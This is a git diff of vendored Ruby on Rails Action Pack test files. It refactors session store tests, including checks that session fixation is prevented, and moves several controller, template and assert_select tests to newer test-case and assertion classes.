-require 'action_controller/session/active_record_store'
 
-module CommonActiveRecordStoreTests
-  def test_basics
-    s = session_class.new(:session_id => '1234', :data => { 'foo' => 'bar' })
-    assert_equal 'bar', s.data['foo']
-    assert s.save
-    assert_equal 'bar', s.data['foo']
+class ActiveRecordStoreTest < ActionController::IntegrationTest
+  DispatcherApp = ActionController::Dispatcher.new
+  SessionApp = ActiveRecord::SessionStore.new(DispatcherApp,
+                :key => '_session_id')
+  SessionAppWithFixation = ActiveRecord::SessionStore.new(DispatcherApp,
+                            :key => '_session_id', :cookie_only => false)
 
-    assert_not_nil t = session_class.find_by_session_id('1234')
-    assert_not_nil t.data
-    assert_equal 'bar', t.data['foo']
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
+    end
+
+    def set_session_value
+      session[:foo] = params[:foo] || "bar"
+      head :ok
+    end
+
+    def get_session_value
+      render :text => "foo: #{session[:foo].inspect}"
+    end
+
+    def get_session_id
+      session[:foo]
+      render :text => "#{request.session_options[:id]}"
+    end
+
+    def call_reset_session
+      session[:foo]
+      reset_session
+      session[:foo] = "baz"
+      head :ok
+    end
+
+    def rescue_action(e) raise end
   end
 
-  def test_reload_same_session
-    @new_session.update
-    reloaded = CGI::Session.new(CGI.new, 'session_id' => @new_session.session_id, 'database_manager' => CGI::Session::ActiveRecordStore)
-    assert_equal 'bar', reloaded['foo']
+  def setup
+    ActiveRecord::SessionStore.session_class.create_table!
+    @integration_session = open_session(SessionApp)
   end
 
-  def test_tolerates_close_close
-    assert_nothing_raised do
-      @new_session.close
-      @new_session.close
+  def teardown
+    ActiveRecord::SessionStore.session_class.drop_table!
+  end
+
+  def test_setting_and_getting_session_value
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert cookies['_session_id']
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+
+      get '/set_session_value', :foo => "baz"
+      assert_response :success
+      assert cookies['_session_id']
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "baz"', response.body
     end
   end
-end
 
-class ActiveRecordStoreTest < ActiveRecordTestCase
-  include CommonActiveRecordStoreTests
-
-  def session_class
-    CGI::Session::ActiveRecordStore::Session
-  end
-
-  def session_id_column
-    "session_id"
-  end
-
-  def setup
-    session_class.create_table!
-
-    ENV['REQUEST_METHOD'] = 'GET'
-    ENV['REQUEST_URI'] = '/'
-    CGI::Session::ActiveRecordStore.session_class = session_class
-
-    @cgi = CGI.new
-    @new_session = CGI::Session.new(@cgi, 'database_manager' => CGI::Session::ActiveRecordStore, 'new_session' => true)
-    @new_session['foo'] = 'bar'
-  end
-
-# this test only applies for eager session saving
-#  def test_another_instance
-#    @another = CGI::Session.new(@cgi, 'session_id' => @new_session.session_id, 'database_manager' => CGI::Session::ActiveRecordStore)
-#    assert_equal @new_session.session_id, @another.session_id
-#  end
-
-  def test_model_attribute
-    assert_kind_of CGI::Session::ActiveRecordStore::Session, @new_session.model
-    assert_equal({ 'foo' => 'bar' }, @new_session.model.data)
-  end
-
-  def test_save_unloaded_session
-    c = session_class.connection
-    bogus_class = c.quote(ActiveSupport::Base64.encode64("\004\010o:\vBlammo\000"))
-    c.insert("INSERT INTO #{session_class.table_name} ('#{session_id_column}', 'data') VALUES ('abcdefghijklmnop', #{bogus_class})")
-
-    sess = session_class.find_by_session_id('abcdefghijklmnop')
-    assert_not_nil sess
-    assert !sess.loaded?
-
-    # because the session is not loaded, the save should be a no-op. If it
-    # isn't, this'll try and unmarshall the bogus class, and should get an error.
-    assert_nothing_raised { sess.save }
-  end
-
-  def teardown
-    session_class.drop_table!
-  end
-end
-
-class ColumnLimitTest < ActiveRecordTestCase
-  def setup
-    @session_class = CGI::Session::ActiveRecordStore::Session
-    @session_class.create_table!
-  end
-
-  def teardown
-    @session_class.drop_table!
-  end
-
-  def test_protection_from_data_larger_than_column
-    # Can't test this unless there is a limit
-    return unless limit = @session_class.data_column_size_limit
-    too_big = ':(' * limit
-    s = @session_class.new(:session_id => '666', :data => {'foo' => too_big})
-    s.data
-    assert_raise(ActionController::SessionOverflowError) { s.save }
-  end
-end
-
-class DeprecatedActiveRecordStoreTest < ActiveRecordStoreTest
-  def session_id_column
-    "sessid"
-  end
-
-  def setup
-    session_class.connection.execute 'create table old_sessions (id integer primary key, sessid text unique, data text)'
-    session_class.table_name = 'old_sessions'
-    session_class.send :setup_sessid_compatibility!
-
-    ENV['REQUEST_METHOD'] = 'GET'
-    CGI::Session::ActiveRecordStore.session_class = session_class
-
-    @new_session = CGI::Session.new(CGI.new, 'database_manager' => CGI::Session::ActiveRecordStore, 'new_session' => true)
-    @new_session['foo'] = 'bar'
-  end
-
-  def teardown
-    session_class.connection.execute 'drop table old_sessions'
-    session_class.table_name = 'sessions'
-  end
-end
-
-class SqlBypassActiveRecordStoreTest < ActiveRecordStoreTest
-  def session_class
-    unless defined? @session_class
-      @session_class = CGI::Session::ActiveRecordStore::SqlBypass
-      @session_class.connection = CGI::Session::ActiveRecordStore::Session.connection
+  def test_getting_nil_session_value
+    with_test_route_set do
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: nil', response.body
     end
-    @session_class
   end
 
-  def test_model_attribute
-    assert_kind_of CGI::Session::ActiveRecordStore::SqlBypass, @new_session.model
-    assert_equal({ 'foo' => 'bar' }, @new_session.model.data)
+  def test_setting_session_value_after_session_reset
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert cookies['_session_id']
+      session_id = cookies['_session_id']
+
+      get '/call_reset_session'
+      assert_response :success
+      assert_not_equal [], headers['Set-Cookie']
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "baz"', response.body
+
+      get '/get_session_id'
+      assert_response :success
+      assert_not_equal session_id, response.body
+    end
   end
+
+  def test_getting_session_id
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert cookies['_session_id']
+      session_id = cookies['_session_id']
+
+      get '/get_session_id'
+      assert_response :success
+      assert_equal session_id, response.body
+    end
+  end
+
+  def test_prevents_session_fixation
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert cookies['_session_id']
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+      session_id = cookies['_session_id']
+      assert session_id
+
+      reset!
+
+      get '/set_session_value', :_session_id => session_id, :foo => "baz"
+      assert_response :success
+      assert_equal nil, cookies['_session_id']
+
+      get '/get_session_value', :_session_id => session_id
+      assert_response :success
+      assert_equal 'foo: nil', response.body
+      assert_equal nil, cookies['_session_id']
+    end
+  end
+
+  def test_allows_session_fixation
+    @integration_session = open_session(SessionAppWithFixation)
+
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert cookies['_session_id']
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+      session_id = cookies['_session_id']
+      assert session_id
+
+      reset!
+      @integration_session = open_session(SessionAppWithFixation)
+
+      get '/set_session_value', :_session_id => session_id, :foo => "baz"
+      assert_response :success
+      assert_equal session_id, cookies['_session_id']
+
+      get '/get_session_value', :_session_id => session_id
+      assert_response :success
+      assert_equal 'foo: "baz"', response.body
+      assert_equal session_id, cookies['_session_id']
+    end
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do |map|
+          map.with_options :controller => "active_record_store_test/test" do |c|
+            c.connect "/:action"
+          end
+        end
+        yield
+      end
+    end
 end
diff --git a/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
index d75cb2b5..0a596c7a 100644
--- a/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
+++ b/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
@@ -47,19 +47,13 @@ class RenderPartialWithRecordIdentificationController < ActionController::Base
 end
 
 class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
+  tests RenderPartialWithRecordIdentificationController
   fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
 
-  def setup
-    @controller = RenderPartialWithRecordIdentificationController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    super
-  end
-
   def test_rendering_partial_with_has_many_and_belongs_to_association
     get :render_with_has_many_and_belongs_to_association
     assert_template 'projects/_project'
-    assert_equal 'Active RecordActive Controller', @response.body
+    assert_equal assigns(:developer).projects.map(&:name).join, @response.body
   end
 
   def test_rendering_partial_with_has_many_association
@@ -88,7 +82,7 @@ class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
 
   def test_render_with_record_collection_and_spacer_template
     get :render_with_record_collection_and_spacer_template
-    assert_equal 'Active Recordonly partialActive Controller', @response.body
+    assert_equal assigns(:developer).projects.map(&:name).join('only partial'), @response.body
   end
 
   def test_rendering_partial_with_has_one_association
@@ -162,12 +156,7 @@ module Fun
 end
 
 class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveRecordTestCase
-  def setup
-    @controller = Fun::NestedController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    super
-  end
+  tests Fun::NestedController
 
   def test_render_with_record_in_nested_controller
     get :render_with_record_in_nested_controller
@@ -183,12 +172,7 @@ class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveReco
 end
 
 class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < ActiveRecordTestCase
-  def setup
-    @controller = Fun::Serious::NestedDeeperController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    super
-  end
+  tests Fun::Serious::NestedDeeperController
 
   def test_render_with_record_in_deeper_nested_controller
     get :render_with_record_in_deeper_nested_controller
diff --git a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb b/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb
index 56ba36ce..6e92eff0 100644
--- a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb
@@ -11,6 +11,9 @@ class ActionPackAssertionsController < ActionController::Base
 
   # a standard template
   def hello_xml_world() render :template => "test/hello_xml_world"; end
+  
+  # a standard partial
+  def partial() render :partial => 'test/partial'; end
 
   # a redirect to an internal location
   def redirect_internal() redirect_to "/nothing"; end
@@ -165,13 +168,11 @@ module Admin
 end
 
 # a test case to exercise the new capabilities TestRequest & TestResponse
-class ActionPackAssertionsControllerTest < Test::Unit::TestCase
+class ActionPackAssertionsControllerTest < ActionController::TestCase
   # let's get this party started
   def setup
     ActionController::Routing::Routes.reload
     ActionController::Routing.use_controllers!(%w(action_pack_assertions admin/inner_module user content admin/user))
-    @controller = ActionPackAssertionsController.new
-    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
   end
 
   def teardown
@@ -235,13 +236,13 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
         map.connect   ':controller/:action/:id'
       end
       process :redirect_to_named_route
-      assert_raise(Test::Unit::AssertionFailedError) do
+      assert_raise(ActiveSupport::TestCase::Assertion) do
         assert_redirected_to 'http://test.host/route_two'
       end
-      assert_raise(Test::Unit::AssertionFailedError) do
+      assert_raise(ActiveSupport::TestCase::Assertion) do
         assert_redirected_to :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
       end
-      assert_raise(Test::Unit::AssertionFailedError) do
+      assert_raise(ActiveSupport::TestCase::Assertion) do
         assert_redirected_to route_two_url
       end
     end
@@ -328,11 +329,35 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
   # check if we were rendered by a file-based template?
   def test_rendered_action
     process :nothing
-    assert_nil @response.rendered_template
+    assert_nil @response.rendered[:template]
 
     process :hello_world
-    assert @response.rendered_template
-    assert 'hello_world', @response.rendered_template.to_s
+    assert @response.rendered[:template]
+    assert 'hello_world', @response.rendered[:template].to_s
+  end
+  
+  def test_assert_template_with_partial
+    get :partial
+    assert_template :partial => '_partial'
+  end
+  
+  def test_assert_template_with_nil
+    get :nothing
+    assert_template nil
+  end
+  
+  def test_assert_template_with_string
+    get :hello_world
+    assert_template 'hello_world'    
+  end
+  
+  def test_assert_template_with_symbol
+    get :hello_world
+    assert_template :hello_world
+  end
+  
+  def test_assert_template_with_bad_argument
+    assert_raise(ArgumentError) { assert_template 1 }    
   end
 
   # check the redirection location
@@ -368,6 +393,12 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
     assert @response.missing?
   end
 
+  # check client errors
+  def test_client_error_response_code
+    process :response404
+    assert @response.client_error?
+  end
+
   # check to see if our redirection matches a pattern
   def test_redirect_url_match
     process :redirect_external
@@ -410,7 +441,7 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
 
   def test_assert_redirection_fails_with_incorrect_controller
     process :redirect_to_controller
-    assert_raise(Test::Unit::AssertionFailedError) do
+    assert_raise(ActiveSupport::TestCase::Assertion) do
       assert_redirected_to :controller => "action_pack_assertions", :action => "flash_me"
     end
   end
@@ -457,16 +488,16 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
 
   def test_assert_valid
     get :get_valid_record
-    assert_valid assigns('record')
+    assert_deprecated { assert_valid assigns('record') }
   end
 
   def test_assert_valid_failing
     get :get_invalid_record
 
     begin
-      assert_valid assigns('record')
+      assert_deprecated { assert_valid assigns('record') }
       assert false
-    rescue Test::Unit::AssertionFailedError => e
+    rescue ActiveSupport::TestCase::Assertion => e
     end
   end
 
@@ -475,7 +506,7 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
     get :index
     assert_response :success
     flunk 'Expected non-success response'
-  rescue Test::Unit::AssertionFailedError => e
+  rescue ActiveSupport::TestCase::Assertion => e
     assert e.message.include?('FAIL')
   end
 
@@ -484,31 +515,29 @@ class ActionPackAssertionsControllerTest < Test::Unit::TestCase
     get :show
     assert_response :success
     flunk 'Expected non-success response'
-  rescue Test::Unit::AssertionFailedError
+  rescue ActiveSupport::TestCase::Assertion
+    # success
   rescue
     flunk "assert_response failed to handle failure response with missing, but optional, exception."
   end
 end
 
-class ActionPackHeaderTest < Test::Unit::TestCase
-  def setup
-    @controller = ActionPackAssertionsController.new
-    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
-  end
+class ActionPackHeaderTest < ActionController::TestCase
+  tests ActionPackAssertionsController
 
   def test_rendering_xml_sets_content_type
     process :hello_xml_world
-    assert_equal('application/xml; charset=utf-8', @response.headers['type'])
+    assert_equal('application/xml; charset=utf-8', @response.headers['Content-Type'])
   end
 
   def test_rendering_xml_respects_content_type
     @response.headers['type'] = 'application/pdf'
     process :hello_xml_world
-    assert_equal('application/pdf; charset=utf-8', @response.headers['type'])
+    assert_equal('application/pdf; charset=utf-8', @response.headers['Content-Type'])
   end
 
   def test_render_text_with_custom_content_type
     get :render_text_with_custom_content_type
-    assert_equal 'application/rss+xml; charset=utf-8', @response.headers['type']
+    assert_equal 'application/rss+xml; charset=utf-8', @response.headers['Content-Type']
   end
 end
diff --git a/vendor/rails/actionpack/test/controller/addresses_render_test.rb b/vendor/rails/actionpack/test/controller/addresses_render_test.rb
index b26cae24..556b0593 100644
--- a/vendor/rails/actionpack/test/controller/addresses_render_test.rb
+++ b/vendor/rails/actionpack/test/controller/addresses_render_test.rb
@@ -19,17 +19,14 @@ class AddressesTestController < ActionController::Base
   def self.controller_path; "addresses"; end
 end
 
-class AddressesTest < Test::Unit::TestCase
-  def setup
-    @controller = AddressesTestController.new
+class AddressesTest < ActionController::TestCase
+  tests AddressesTestController
 
+  def setup
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     @controller.logger = Logger.new(nil)
 
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
     @request.host = "www.nextangle.com"
   end
 
diff --git a/vendor/rails/actionpack/test/controller/assert_select_test.rb b/vendor/rails/actionpack/test/controller/assert_select_test.rb
index 08cbcbf3..298c7e4d 100644
--- a/vendor/rails/actionpack/test/controller/assert_select_test.rb
+++ b/vendor/rails/actionpack/test/controller/assert_select_test.rb
@@ -9,9 +9,10 @@ require 'controller/fake_controllers'
 
 unless defined?(ActionMailer)
   begin
-    $:.unshift(File.dirname(__FILE__) + "/../../../actionmailer/lib")
+    $:.unshift("#{File.dirname(__FILE__)}/../../../actionmailer/lib")
     require 'action_mailer'
-  rescue LoadError
+  rescue LoadError => e
+    raise unless e.message =~ /action_mailer/
     require 'rubygems'
     gem 'actionmailer'
   end
@@ -19,7 +20,18 @@ end
 
 ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
 
-class AssertSelectTest < Test::Unit::TestCase
+class AssertSelectTest < ActionController::TestCase
+  Assertion = ActiveSupport::TestCase::Assertion
+
+  class AssertSelectMailer < ActionMailer::Base
+    def test(html)
+      recipients "test <test@test.host>"
+      from "test@test.host"
+      subject "Test e-mail"
+      part :content_type=>"text/html", :body=>html
+    end
+  end
+
   class AssertSelectController < ActionController::Base
     def response_with=(content)
       @content = content
@@ -51,21 +63,9 @@ class AssertSelectTest < Test::Unit::TestCase
     end
   end
 
-  class AssertSelectMailer < ActionMailer::Base
-    def test(html)
-      recipients "test <test@test.host>"
-      from "test@test.host"
-      subject "Test e-mail"
-      part :content_type=>"text/html", :body=>html
-    end
-  end
-
-  AssertionFailedError = Test::Unit::AssertionFailedError
+  tests AssertSelectController
 
   def setup
-    @controller = AssertSelectController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
     ActionMailer::Base.delivery_method = :test
     ActionMailer::Base.perform_deliveries = true
     ActionMailer::Base.deliveries = []
@@ -76,7 +76,7 @@ class AssertSelectTest < Test::Unit::TestCase
   end
 
   def assert_failure(message, &block)
-    e = assert_raises(AssertionFailedError, &block)
+    e = assert_raise(Assertion, &block)
     assert_match(message, e.message) if Regexp === message
     assert_equal(message, e.message) if String === message
   end
@@ -94,43 +94,43 @@ class AssertSelectTest < Test::Unit::TestCase
 
   def test_equality_true_false
     render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_nothing_raised               { assert_select "div" }
-    assert_raises(AssertionFailedError) { assert_select "p" }
-    assert_nothing_raised               { assert_select "div", true }
-    assert_raises(AssertionFailedError) { assert_select "p", true }
-    assert_raises(AssertionFailedError) { assert_select "div", false }
-    assert_nothing_raised               { assert_select "p", false }
+    assert_nothing_raised    { assert_select "div" }
+    assert_raise(Assertion) { assert_select "p" }
+    assert_nothing_raised    { assert_select "div", true }
+    assert_raise(Assertion) { assert_select "p", true }
+    assert_raise(Assertion) { assert_select "div", false }
+    assert_nothing_raised    { assert_select "p", false }
   end
 
   def test_equality_string_and_regexp
     render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_nothing_raised               { assert_select "div", "foo" }
-    assert_raises(AssertionFailedError) { assert_select "div", "bar" }
-    assert_nothing_raised               { assert_select "div", :text=>"foo" }
-    assert_raises(AssertionFailedError) { assert_select "div", :text=>"bar" }
-    assert_nothing_raised               { assert_select "div", /(foo|bar)/ }
-    assert_raises(AssertionFailedError) { assert_select "div", /foobar/ }
-    assert_nothing_raised               { assert_select "div", :text=>/(foo|bar)/ }
-    assert_raises(AssertionFailedError) { assert_select "div", :text=>/foobar/ }
-    assert_raises(AssertionFailedError) { assert_select "p", :text=>/foobar/ }
+    assert_nothing_raised    { assert_select "div", "foo" }
+    assert_raise(Assertion) { assert_select "div", "bar" }
+    assert_nothing_raised    { assert_select "div", :text=>"foo" }
+    assert_raise(Assertion) { assert_select "div", :text=>"bar" }
+    assert_nothing_raised    { assert_select "div", /(foo|bar)/ }
+    assert_raise(Assertion) { assert_select "div", /foobar/ }
+    assert_nothing_raised    { assert_select "div", :text=>/(foo|bar)/ }
+    assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
+    assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
   end
 
   def test_equality_of_html
     render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
     text = "\"This is not a big problem,\" he said."
     html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
-    assert_nothing_raised               { assert_select "p", text }
-    assert_raises(AssertionFailedError) { assert_select "p", html }
-    assert_nothing_raised               { assert_select "p", :html=>html }
-    assert_raises(AssertionFailedError) { assert_select "p", :html=>text }
+    assert_nothing_raised    { assert_select "p", text }
+    assert_raise(Assertion) { assert_select "p", html }
+    assert_nothing_raised    { assert_select "p", :html=>html }
+    assert_raise(Assertion) { assert_select "p", :html=>text }
     # No stripping for pre.
     render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
     text = "\n\"This is not a big problem,\" he said.\n"
     html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
-    assert_nothing_raised               { assert_select "pre", text }
-    assert_raises(AssertionFailedError) { assert_select "pre", html }
-    assert_nothing_raised               { assert_select "pre", :html=>html }
-    assert_raises(AssertionFailedError) { assert_select "pre", :html=>text }
+    assert_nothing_raised    { assert_select "pre", text }
+    assert_raise(Assertion) { assert_select "pre", html }
+    assert_nothing_raised    { assert_select "pre", :html=>html }
+    assert_raise(Assertion) { assert_select "pre", :html=>text }
   end
 
   def test_counts
@@ -206,16 +206,16 @@ class AssertSelectTest < Test::Unit::TestCase
   def test_assert_select_text_match
     render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
     assert_select "div" do
-      assert_nothing_raised               { assert_select "div", "foo" }
-      assert_nothing_raised               { assert_select "div", "bar" }
-      assert_nothing_raised               { assert_select "div", /\w*/ }
-      assert_nothing_raised               { assert_select "div", /\w*/, :count=>2 }
-      assert_raises(AssertionFailedError) { assert_select "div", :text=>"foo", :count=>2 }
-      assert_nothing_raised               { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised               { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised               { assert_select "div", :html=>/\w*/ }
-      assert_nothing_raised               { assert_select "div", :html=>/\w*/, :count=>2 }
-      assert_raises(AssertionFailedError) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
+      assert_nothing_raised    { assert_select "div", "foo" }
+      assert_nothing_raised    { assert_select "div", "bar" }
+      assert_nothing_raised    { assert_select "div", /\w*/ }
+      assert_nothing_raised    { assert_select "div", /\w*/, :count=>2 }
+      assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 }
+      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
+      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
+      assert_nothing_raised    { assert_select "div", :html=>/\w*/ }
+      assert_nothing_raised    { assert_select "div", :html=>/\w*/, :count=>2 }
+      assert_raise(Assertion) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
     end
   end
 
@@ -248,6 +248,19 @@ class AssertSelectTest < Test::Unit::TestCase
     end
   end
 
+  def test_assert_select_rjs_for_positioned_insert_should_fail_when_mixing_arguments
+    render_rjs do |page|
+      page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
+      page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
+    end
+    assert_raise(Assertion) {assert_select_rjs :insert, :top, "test2"}
+  end
+
+  def test_elect_with_xml_namespace_attributes
+    render_html %Q{<link xlink:href="http://nowhere.com"></link>}
+    assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
+  end
+
   #
   # Test css_select.
   #
@@ -323,7 +336,7 @@ class AssertSelectTest < Test::Unit::TestCase
   # Test that we fail if there is nothing to pick.
   def test_assert_select_rjs_fails_if_nothing_to_pick
     render_rjs { }
-    assert_raises(AssertionFailedError) { assert_select_rjs }
+    assert_raise(Assertion) { assert_select_rjs }
   end
 
   def test_assert_select_rjs_with_unicode
@@ -338,10 +351,10 @@ class AssertSelectTest < Test::Unit::TestCase
       if str.respond_to?(:force_encoding)
         str.force_encoding(Encoding::UTF_8)
         assert_select str, /\343\203\201..\343\203\210/u
-        assert_raises(AssertionFailedError) { assert_select str, /\343\203\201.\343\203\210/u }
+        assert_raise(Assertion) { assert_select str, /\343\203\201.\343\203\210/u }
       else
         assert_select str, Regexp.new("\343\203\201..\343\203\210",0,'U')
-        assert_raises(AssertionFailedError) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
+        assert_raise(Assertion) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
       end
     end
   end
@@ -365,7 +378,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#3"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs "test4" }
+    assert_raise(Assertion) { assert_select_rjs "test4" }
   end
 
   def test_assert_select_rjs_for_replace
@@ -383,7 +396,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#1"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs :replace, "test2" }
+    assert_raise(Assertion) { assert_select_rjs :replace, "test2" }
     # Replace HTML.
     assert_select_rjs :replace_html do
       assert_select "div", 1
@@ -393,7 +406,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#2"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs :replace_html, "test1" }
+    assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
   end
 
   def test_assert_select_rjs_for_chained_replace
@@ -411,7 +424,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#1"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs :chained_replace, "test2" }
+    assert_raise(Assertion) { assert_select_rjs :chained_replace, "test2" }
     # Replace HTML.
     assert_select_rjs :chained_replace_html do
       assert_select "div", 1
@@ -421,7 +434,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#2"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs :replace_html, "test1" }
+    assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
   end
 
   # Simple remove
@@ -440,8 +453,8 @@ class AssertSelectTest < Test::Unit::TestCase
 
     assert_select_rjs :remove, "test1"
 
-    rescue Test::Unit::AssertionFailedError
-      assert_equal "No RJS statement that removes 'test1' was rendered.", $!.message
+  rescue Assertion
+    assert_equal "No RJS statement that removes 'test1' was rendered.", $!.message
   end
 
   def test_assert_select_rjs_for_remove_ignores_block
@@ -472,8 +485,8 @@ class AssertSelectTest < Test::Unit::TestCase
 
     assert_select_rjs :show, "test1"
 
-    rescue Test::Unit::AssertionFailedError
-      assert_equal "No RJS statement that shows 'test1' was rendered.", $!.message
+  rescue Assertion
+    assert_equal "No RJS statement that shows 'test1' was rendered.", $!.message
   end
 
   def test_assert_select_rjs_for_show_ignores_block
@@ -504,8 +517,8 @@ class AssertSelectTest < Test::Unit::TestCase
 
     assert_select_rjs :hide, "test1"
 
-    rescue Test::Unit::AssertionFailedError
-      assert_equal "No RJS statement that hides 'test1' was rendered.", $!.message
+  rescue Assertion
+    assert_equal "No RJS statement that hides 'test1' was rendered.", $!.message
   end
 
   def test_assert_select_rjs_for_hide_ignores_block
@@ -536,8 +549,8 @@ class AssertSelectTest < Test::Unit::TestCase
 
     assert_select_rjs :toggle, "test1"
 
-    rescue Test::Unit::AssertionFailedError
-      assert_equal "No RJS statement that toggles 'test1' was rendered.", $!.message
+  rescue Assertion
+    assert_equal "No RJS statement that toggles 'test1' was rendered.", $!.message
   end
 
   def test_assert_select_rjs_for_toggle_ignores_block
@@ -567,7 +580,7 @@ class AssertSelectTest < Test::Unit::TestCase
       assert_select "div", 1
       assert_select "#3"
     end
-    assert_raises(AssertionFailedError) { assert_select_rjs :insert_html, "test1" }
+    assert_raise(Assertion) { assert_select_rjs :insert_html, "test1" }
   end
 
   # Positioned insert.
@@ -600,8 +613,8 @@ class AssertSelectTest < Test::Unit::TestCase
   end
 
   def test_assert_select_rjs_raise_errors
-    assert_raises(ArgumentError) { assert_select_rjs(:destroy) }
-    assert_raises(ArgumentError) { assert_select_rjs(:insert, :left) }
+    assert_raise(ArgumentError) { assert_select_rjs(:destroy) }
+    assert_raise(ArgumentError) { assert_select_rjs(:insert, :left) }
   end
 
   # Simple selection from a single result.
@@ -693,7 +706,7 @@ EOF
   #
 
   def test_assert_select_email
-    assert_raises(AssertionFailedError) { assert_select_email {} }
+    assert_raise(Assertion) { assert_select_email {} }
     AssertSelectMailer.deliver_test "<div><p>foo</p><p>bar</p></div>"
     assert_select_email do
       assert_select "div:root" do
diff --git a/vendor/rails/actionpack/test/controller/base_test.rb b/vendor/rails/actionpack/test/controller/base_test.rb
index 738c016c..9523189f 100644
--- a/vendor/rails/actionpack/test/controller/base_test.rb
+++ b/vendor/rails/actionpack/test/controller/base_test.rb
@@ -105,7 +105,7 @@ class ControllerInstanceTests < Test::Unit::TestCase
 end
 
 
-class PerformActionTest < Test::Unit::TestCase
+class PerformActionTest < ActionController::TestCase
   class MockLogger
     attr_reader :logged
 
@@ -129,6 +129,8 @@ class PerformActionTest < Test::Unit::TestCase
     @response   = ActionController::TestResponse.new
 
     @request.host = "www.nextangle.com"
+
+    rescue_action_in_public!
   end
   
   def test_get_on_priv_should_show_selector
@@ -164,14 +166,12 @@ class PerformActionTest < Test::Unit::TestCase
   end
 end
 
-class DefaultUrlOptionsTest < Test::Unit::TestCase
+class DefaultUrlOptionsTest < ActionController::TestCase
+  tests DefaultUrlOptionsController
+
   def setup
-    @controller = DefaultUrlOptionsController.new
-
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
     @request.host = 'www.example.com'
+    rescue_action_in_public!
   end
 
   def test_default_url_options_are_used_if_set
@@ -189,14 +189,12 @@ class DefaultUrlOptionsTest < Test::Unit::TestCase
   end
 end
 
